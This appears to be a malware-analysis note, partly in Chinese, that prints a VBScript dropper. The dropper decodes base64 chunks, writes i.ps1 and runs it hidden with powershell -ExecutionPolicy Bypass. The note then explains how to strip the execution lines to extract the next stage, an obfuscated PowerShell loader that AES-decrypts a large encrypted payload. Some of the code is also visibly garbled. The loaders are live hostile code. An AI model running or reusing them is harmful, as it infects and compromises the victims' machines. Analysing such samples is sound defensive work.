loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P" e = b & d & c Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") f.DataType = "bin.base64" f.Text = e g = f.NodeTypedValue h = "i.ps1" Set j = CreateObject("Scripting.FileSystemObject") Set k = j.CreateTextFile(h, True) k.Write l(g) k.Close Set m = CreateObject("WScript.Shell") m.Run "powershell.exe -ExecutionPolicy Bypass -File " & h, 0, False Function l(n) Dim o, p Set o = CreateObject("ADODB.Recordset") p = LenB(n) If p > 0 Then o.Fields.Append "q", 201, p o.Open o.AddNew o("q").AppendChunk n o.Update l = o("q").GetChunk(p) Else l = "" End If End Function这段代码创建一个powershell脚本通过Set m = CreateObject("WScript.Shell")m.Run "powershell.exe -ExecutionPolicy Bypass -File " & h, 0, False执行去掉这两行在执行一下得到最终脚本
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?1function DVK {param ($en,]$sB);$k = New-Object byte[] 32;$v = New-Object byte[] 16;$deriveBytes = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($en, $sB, 1000, ::SHA256);$k = $deriveBytes.GetBytes(32);$v = $deriveBytes.GetBytes(16);return @{ K = $k; V = $v }};function D {param ($eBZ,$enc);$dBy = ::FromBase64String($eBZ);$sby = $dBy[0..7];$eBy = $dBy[8..($dBy.Length - 1)];$drv = DVK -en $enc -sB $sby;$k = $drv.K;$v = $drv.V;$a = ::Create();$a.Mode = ::CBC;$a.Padding = ::PKCS7;$a.Key = $k;$a.IV = $v;$dc = $a.CreateDecryptor();try {$dB = $dc.TransformFinalBlock($eBy, 0, $eBy.Length);return ::UTF8.GetString($dB)} catch {return $null}}$eB = "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